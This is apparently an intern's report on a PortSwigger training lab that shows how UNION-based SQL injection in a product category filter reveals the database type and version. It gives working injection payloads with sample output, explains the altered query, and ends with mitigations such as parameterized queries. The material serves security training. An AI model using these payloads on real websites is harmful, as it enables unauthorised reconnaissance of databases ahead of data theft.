**PortSwigger SQL injection lab**

**Intern id:** 195

**Lab :** SQL Injection Attack (Querying Database Type & Version)

**Environment :** Linux

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_**

**Objective**

Demonstrate how to retrieve the database type and version using UNION-based SQL injection in a vulnerable parameter.

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_**

**Target**

Application: PortSwigger SQLi Lab – Database Version Query

Vector: Category parameter in product filter

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_**

**Vulnerability Description**

The application does not sanitize user-supplied input in the SQL query. By leveraging UNION SELECT, an attacker can inject database-specific functions to identify the database type and version.

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_**

**Steps to Reproduce**

1. Confirm SQL injection works by testing with:

https://<lab-url>/filter?category=Gifts' UNION SELECT NULL,NULL--

2. Determine the number of columns (already known from previous lab).

Example: 2 columns → use NULL,NULL.

Example: 3 columns → use NULL,NULL,NULL.

3. Inject version functions based on the backend database:

**MySQL / MariaDB:**

' UNION SELECT @@version, NULL--

→ Returns database version string (e.g., 8.0.33).

Microsoft SQL Server:

' UNION SELECT @@version, NULL--

→ Returns version string (e.g., Microsoft SQL Server 2019 (RTM)).

Alternative (cross-database):

SELECT version() → Works in MySQL and PostgreSQL.

SELECT @@version → Works in MySQL and MSSQL.

4. Observe the response in the web page:

If the database is MySQL, the output looks like:

8.0.33-log

If the database is MSSQL, the output looks like:

Microsoft SQL Server 2019 (RTM) - 15.0.2000.5

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_**

**Technical Explanation**

The vulnerable SQL query might be:

SELECT id, name FROM products WHERE category = '<input>';

When injected with:

' UNION SELECT @@version, NULL--

It becomes:

SELECT id, name FROM products WHERE category = ''

UNION SELECT @@version, NULL--';

UNION merges results.

@@version reveals database type and version.

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_**

**Impact**

Identifies the database technology (MySQL vs MSSQL).

Enables targeted exploitation using DB-specific payloads.

Critical step before data exfiltration or privilege escalation.

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_**

**Mitigation**

Use parameterized queries (e.g., PreparedStatement in Java, cursor.execute(sql, params) in Python).

Restrict error messages and suppress DB output.

Apply principle of least privilege to database accounts.

**\_\_\_\_\_\_\_\_\_\_\_ THANK YOU \_\_\_\_\_\_\_\_\_\_\_**